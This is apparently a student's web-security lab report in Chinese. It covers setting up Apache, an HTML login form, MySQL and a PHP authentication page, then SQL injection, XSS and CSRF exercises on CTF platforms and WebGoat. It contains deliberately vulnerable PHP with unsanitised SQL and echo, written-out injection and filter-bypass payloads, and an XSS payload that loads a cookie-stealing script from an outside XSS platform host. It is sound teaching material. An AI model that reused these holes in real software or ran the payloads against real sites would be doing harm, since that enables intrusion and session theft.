• Exp8-Web综合


    Exp8 Web综合

    一、实践目标

    (1)Web前端HTML
       能正常安装、启停Apache。理解HTML,理解表单,理解GET与POST方法,编写一个含有表单的HTML。
       
    (2)Web前端javascipt
       理解JavaScript的基本功能,理解DOM。
       在(1)的基础上,编写JavaScript验证用户名、密码的规则。在用户点击登陆按钮后回显“欢迎+输入的用户名”
       尝试注入攻击:利用回显用户名注入HTML及JavaScript。
      
    (3)Web后端:MySQL基础:正常安装、启动MySQL,建库、创建用户、修改密码、建表。
    
    (4)Web后端:编写PHP网页,连接数据库,进行用户认证。
    
    (5)最简单的SQL注入,XSS攻击测试。
    
    (6)选做Webgoat或类似平台的SQL注入、XSS、CSRF攻击各一例。
    

    二、实践内容

    1、Web前端HTML

    apache简介

    • Apache HTTPD又可以简称为httpd或者Apache,是Internet使用最广泛的web服务器之一,使用Apache提供的web服务器是由守护进程httpd,通过http协议进行文本传输,默认使用80端口的明文传输方式。

    • 搭建apache的方法:

      • 由于kali自带apache2,所以使用vim /etc/apache2/ports.conf修改Apache的端口文件,将端口改为http对应的80号端口(一般默认80端口)
      • 使用netstat -tupln |grep 80查看80端口是否被占用。如果有,使用kill+进程号杀死该进程或使用kill -s 9 进程号强制杀死进程
      • 使用systemctl start apache2开启Apache服务
      • 使用systemctl stop apache2关闭Apache服务

    HTML简介

    • HTML是超文本标记语言(Hyper Text Markup Language),标准通用标记语言下的一个应用,HTML 不是一种编程语言,而是一种标记语言 (markup language)。“超文本”就是指页面内可以包含图片、链接,甚至音乐、程序等非文字元素。超文本标记语言(或超文本标签语言)的结构包括“头”部分和“主体”部分,其中“头”部提供关于网页的信息,“主体”部分提供网页的具体内容。

    GET与POST方法

    • GET和POST是HTTP请求的两种基本方法。对于GET方式的请求,浏览器会把http header和data一并发送出去,服务器响应200(返回数据),数据能够在url中看到。对于POST,浏览器先发送header,服务器响应100 continue,浏览器再发送data,服务器响应200 ok(返回数据)。
    • Get 方式传输的数据量非常小,一般限制在 2 KB 左右,但是执行效率却比 Post 方法好;而 Post 方式传递的数据量相对较大,它是等待服务器来读取数据,不过也有字节限制,这是为了避免对服务器用大量数据进行恶意攻击。

    编写一个含有表单的HTML

    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <title>Title</title>
    </head>
    <style type="text/css">
        .divForm{
            position: absolute;/*绝对定位*/
             300px;
            height: 200px;
    
            text-align: center;/*(让div中的内容居中)*/
            top: 50%;
            left: 50%;
            margin-top: -200px;
            margin-left: -150px;
        }
    </style>
    <body>
    <div class="divForm">
        <h1 align="center">登陆界面</h1>
        <form name="form1" method="post" action="index.php">
            <table border = "0">
                <tr>
                    <td>用户名:</td>
                    <td><input type="text" name="username" value="" /></td>
                </tr>
                <tr>
                    <td>密&nbsp&nbsp&nbsp&nbsp码:</td>
                    <td><input type="password" name="userpwd" value="" /></td>
                </tr>
                <tr>
                    <td></td>
                    <td><input type="submit" value="提交" /> <input type="reset" value="重填" /></td>
                </tr>
            </table>
        </form>
    </div>
    
    </body>
    </html>
    

    效果:

    image-20210517203953479

    2、Web前端javascript

    • 编写JavaScript验证用户名、密码的规则
    <script type="text/javascript">
        function checkForm(){	//定义javascript函数名
            if (form1.username.value == null || form1.username.value==""){	//判断表单用户名值是否合法
                alert("请输入用户名");	//弹窗警告
                return false;	//返回值false,阻止表单提交
            }
            if (form1.userpwd.value == null || form1.userpwd.value==""){	//判断表单用户名值是否合法
                alert("请输入密码");	//弹窗警告
                return false;	//返回值false,阻止表单提交
            }
            return true;
        }
    </script>
    

    html完整代码:

    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <title>Title</title>
    </head>
    <style type="text/css">
        .divForm{
            position: absolute;/*绝对定位*/
             300px;
            height: 200px;
    
            text-align: center;/*(让div中的内容居中)*/
            top: 50%;
            left: 50%;
            margin-top: -200px;
            margin-left: -150px;
        }
    </style>
    <body>
    <div class="divForm">
        <h1 align="center">登陆界面</h1>
        <form name="form1" onsubmit="return checkForm();" method="post" action="index.php">
            <table border = "0">
                <tr>
                    <td>用户名:</td>
                    <td><input type="text" name="username" value="" /></td>
                </tr>
                <tr>
                    <td>密&nbsp&nbsp&nbsp&nbsp码:</td>
                    <td><input type="password" name="userpwd" value="" /></td>
                </tr>
                <tr>
                    <td></td>
                    <td><input type="submit" value="提交" /> <input type="reset" value="重填" /></td>
                </tr>
            </table>
        </form>
    </div>
    
    </body>
    </html>
    
    <script type="text/javascript">
        function checkForm(){
            if (form1.username.value == null || form1.username.value==""){
                alert("请输入用户名");
                return false;
            }
            if (form1.userpwd.value == null || form1.userpwd.value==""){
                alert("请输入密码");
                return false;
            }
            return true;
        }
    </script>
    
    • 在用户点击登陆按钮后回显“欢迎+输入的用户名”

    写一个用于接收用户登陆数据的index.php文件:

    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <title>Welcome!</title>
    </head>
    <body>
    <h1 align="center">欢迎!<?php echo $_POST['username'];?></h1>	//将接收到的username数据打印在页面中
    </body>
    </html>
    

    效果:

    image-20210517204953252

    • 尝试注入攻击

    方法:登陆时将用户名改为<script>alert("hack!")</script>,使页面弹窗。

    image-20210517205355804

    image-20210517205410437

    3、Web后端MySQL基础:正常安装、启动MySQL,建库、创建用户、修改密码、建表

    • 安装mysql:新版kali自带mysql,如果想要安装在win10,可以参考:windows10上安装mysql(详细步骤)

    • 启动mysql:输入systemctl start mysql

    • 建库

      • 输入mysql指令,进入mysql数据库中。

      • 输入建库指令:(例如:CREATE DATABASE CTF;)

        CREATE DATABASE [IF NOT EXISTS] <数据库名>
        [[DEFAULT] CHARACTER SET <字符集名>] 
        [[DEFAULT] COLLATE <校对规则名>];
        
      • 输入创建用户指令:CREATE USER 'student'@'localhost' IDENTIFIED BY '20181221';

        CREATE USER 'username'@'host' IDENTIFIED BY 'password';
        
        username:你将创建的用户名
        host:指定该用户在哪个主机上可以登陆,如果是本地用户可用localhost,如果想让该用户可以从任意远程主机登陆,可以使用通配符%
        password:该用户的登陆密码,密码可以为空,如果为空则该用户可以不需要密码登陆服务器
        
      • 修改密码:

      方法1: 用SET PASSWORD命令 
      首先登录MySQL。 
      运行--->输入 cmd 回车
      登陆:mysql -u root  -p1234
      格式:mysql> set password for 用户名@localhost = password('新密码'); 
      例子:mysql> set password for root@localhost = password('123'); 
      退出:mysql> quit
                   
      
      方法2:用mysqladmin 
      运行--->输入 cmd 回车
      登陆:mysql -u root  -p1234
      格式:mysqladmin -u用户名 -p旧密码 password 新密码 
      例子:mysqladmin -uroot -p123456 password 123 
      退出:mysql> quit
      
      方法3:用UPDATE直接编辑user表 
      首先登录MySQL。 
      运行--->输入 cmd 回车
      登陆:mysql -u root  -p1234
                 mysql> use mysql; 
                 mysql> update user set password=password('123') where user='root' and host='localhost'; 
                 mysql> flush privileges; 
      退出:mysql> quit
      
      方法4:在忘记root密码的时候,可以这样 
      以windows为例: 
      1. 关闭正在运行的MySQL服务。 
      2. 打开DOS窗口,转到mysqlin目录。 
      3. 输入mysqld --skip-grant-tables 回车。--skip-grant-tables 的意思是启动MySQL服务的时候跳过权限表认证。 
      4. 再开一个DOS窗口(因为刚才那个DOS窗口已经不能动了),转到mysqlin目录。 
      5. 输入mysql回车,如果成功,将出现MySQL提示符 >。 
      6. 连接权限数据库: use mysql; 。 
      6. 改密码:update user set password=password("123") where user="root";(别忘了最后加分号) 。 
      7. 刷新权限(必须步骤):flush privileges; 。 
      8. 退出 quit。 
      9. 注销系统,再进入,使用用户名root和刚才设置的新密码123登录。
      
      • 建表:
      CREATE TABLE 表名称
      (
      列名称1 数据类型,
      列名称2 数据类型,
      列名称3 数据类型,
      ....
      )
      
      例如:
      CREATE TABLE IF NOT EXISTS `user`(
         `id` INT UNSIGNED AUTO_INCREMENT,
         `username` VARCHAR(100) NOT NULL,
         `passwd` VARCHAR(40) NOT NULL,
         `flag` VARCHAR(40) NOT NULL,
         PRIMARY KEY ( `id` )
      )ENGINE=InnoDB DEFAULT CHARSET=utf8;
      

    image-20210517211148112

    4、Web后端:编写PHP网页,连接数据库,进行用户认证

    • 编写PHP网页,连接数据库
    <?php
    $con=mysqli_connect("127.0.0.1","student","20181221","CTF");
    if (!$con)
    {
        die("Connection failed: " . mysqli_connect_error());
    }
    ?>
    
    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <title>Title</title>
    </head>
    <style type="text/css">
        .divForm{
            position: absolute;/*绝对定位*/
             300px;
            height: 200px;
    
            text-align: center;/*(让div中的内容居中)*/
            top: 50%;
            left: 50%;
            margin-top: -200px;
            margin-left: -150px;
        }
    </style>
    <body>
    <div class="divForm">
        <h1 align="center">登陆界面</h1>
        <form name="form1" method="post" action="easy_sql.php">
            <table border = "0">
                <tr>
                    <td>用户名:</td>
                    <td><input type="text" name="username" value="" /></td>
                </tr>
                <tr>
                    <td>密&nbsp&nbsp&nbsp&nbsp码:</td>
                    <td><input type="password" name="passwd" value="" /></td>
                </tr>
                <tr>
                    <td></td>
                    <td><input type="submit" value="提交" /> <input type="reset" value="重填" /></td>
                </tr>
            </table>
        </form>
        <?php
        $username=$_POST["username"];
        $passwd=$_POST["passwd"];
        if($username&&$passwd) {
            $result = mysqli_query($con, "select * from user where username=$username and passwd=$passwd");
            $row = mysqli_fetch_array($result);
            if ($row) {
                echo "welcome!".$row['username'];
            } else {
                echo $username."是hacker!!!";
            }
        }
        ?>
    </div>
    </body>
    </html>
    
    

    image-20210518142931039

    • 进行用户认证,输入不存在的用户名和密码。

    image-20210518143109594

    • 输入正确的用户名和密码进行登陆。

    image-20210518145933241

    5、最简单的SQL注入,XSS攻击测试

    SQL注入

    在用户名输入1 or 1=1#,密码随便输

    image-20210518150301146

    结果:image-20210518150330143

    XSS攻击

    在用户名输入<script>alert(1)</script>,密码随便输

    image-20210518150508741

    6、选做Webgoat或类似平台的SQL注入、XSS、CSRF攻击各一例

    这里推荐使用i春秋平台,和CTFHUB平台网址是:i春秋 CTFHUB

    SQL注入

    image-20210518184750996

    打开页面提示了flag{在数据库中},注入点在?id=

    image-20210518194147592

    fuzz发现过滤了and、or、select、=、>、<等字符,但是可以用<>绕过

    image-20210518194213315

    输入1 o<>rder by 数字#判断字段数,发现字段数为3。

    image-20210518194408318

    输入1 union sel<>ect 1,2,3#,发现回显字段为2

    image-20210518194520640

    输入1 union sel<>ect 1,database(),3#查询数据库名

    image-20210518194628467

    输入1 union sel<>ect 1,group_concat(table_name),3 from information_schema.tables where table_schema='sqli'#查询数据库中的表名

    image-20210518195152683

    输入1 union sel<>ect 1,group_concat(column_name),3 from information_schema.columns where table_name='info'#查询info表中的字段名

    image-20210518195755983

    输入1 union sel<>ect 1,flAg_T5ZNdrm,3 from info#,获取flag数据

    image-20210518195827021

    XSS

    image-20210518211140138

    image-20210518211119123

    打开环境看到一个页面,会将输入的名字显示到页面中,我们输入<script>alert(1)</script>成功弹窗。

    image-20210518211304183

    经过测试,第二个输入框输入URL时,返回SUCCESS,猜测在后台进行访问。

    image-20210518211442261

    尝试使用XSS Platform,在第一个框中输入包含脚本的网址:<sCRiPt sRC=//xss.pt/Sqg3></sCrIpT>。通过第二个框,访问包含了XSS脚本的本页面URL:

    image-20210518211855522

    在XSS平台上可以看到已经获取到了cookie中的flag信息。

    image-20210518211928627

    CSRF

    这里我用服务器搭了一个WebGoat平台,有需要的同学可以登陆进行实验(需要连接内网):WebGoat

    • 首先,选择Cross Site Request Forgery (CSRF),目标是向新闻组发送电子邮件。 该电子邮件包含一个图像,其URL指向恶意请求。 在这里,URL应该指向“攻击”servlet,其中包含课程的“屏幕”和“菜单”参数,以及具有任意数值的额外参数“transferFunds”(如5000)。我们可以通过查找“屏幕”来构建链接 “和”菜单“值在右侧的参数插入。 当时通过身份认证的CSRF电子邮件的接收者将转移资金。 当本课程的攻击成功时,左侧菜单中的课程名称旁边会显示一个绿色的勾号。

    image-20210518222509960

    • 构造payload<img src="attack?Screen=2078372&menu=900&transferFunds=5000"/>

    image-20210518223453081

    • 提交之后访问20181221,可以看到出现了一个勾,说明已经完成了CSRF攻击

    image-20210518223524398

    三、实践总结与体会

    基础问题回答

    1.什么是表单

    • 表单对于用户而言是数据的录入和提交的界面,对于网站而言获取用户信息的途径,在网页中主要负责数据采集功能。

    • 表单的基本组成部分:

    表单标签:这里面包含了处理表单数据所用CGI程序的URL以及数据提交到服务器的方法。
    
    表单域:包含了文本框、密码框、隐藏域、多行文本框、复选框、单选框、下拉选择框和文件上传框等。
    
    表单按钮:包括提交按钮、复位按钮和一般按钮;用于将数据传送到服务器上的CGI脚本或者取消输入,还可以用表单按钮来控制其他定义了处理脚本的处理工作。
    

    2.浏览器可以解析运行什么语言

    ​ 浏览器可以解析运行HTML、JavaScript、PHP、ASP、JSP等语言。

    3.WebServer支持哪些动态语言

    ​ 支持php、asp.net、jsp、python等动态语言

    4.防范注入攻击的方法有哪些

    1.采用预编译语句集,避免使用解释程序,防止被非法执行命令。

    2.及时更新软件和系统版本,防止被最新的漏洞攻击。

    3.避免出现一些详细的错误消息,使用一种标准的输入确认机制来验证所有的输入数据的长度、类型、语句、规则等。

    4.使用专业的漏洞扫描工具,如Acunetix的Web漏洞扫描程序等。

    5.要在Web应用程序开发过程的所有阶段实施代码的安全检查,在部署Web应用之前实施渗透测试。

    实验体会

    ​ 本次实验是关于WEB综合应用的各种操作,在WEB的综合应用方向,有很多需要学习的知识点,单是实验中的这几种漏洞都有许多不同的利用方法和姿势,更别提其他更多的漏洞。WEB安全是很重要的一个方向,要想做好安全,需要学习更多的知识。

  • 相关阅读:
    NOI Online 2020「Prelude」
    CF704E Iron Man
    luogu P4619 [SDOI2018]旧试题
    luogu P4207 [NOI2005]月下柠檬树
    JOI2020
    luogu P3263 [JLOI2015]有意义的字符串
    p1864
    p1824
    p1836
    p1862
  • 原文地址:https://www.cnblogs.com/MisakaYuii-Z/p/14787280.html
Copyright © 2020-2023  润新知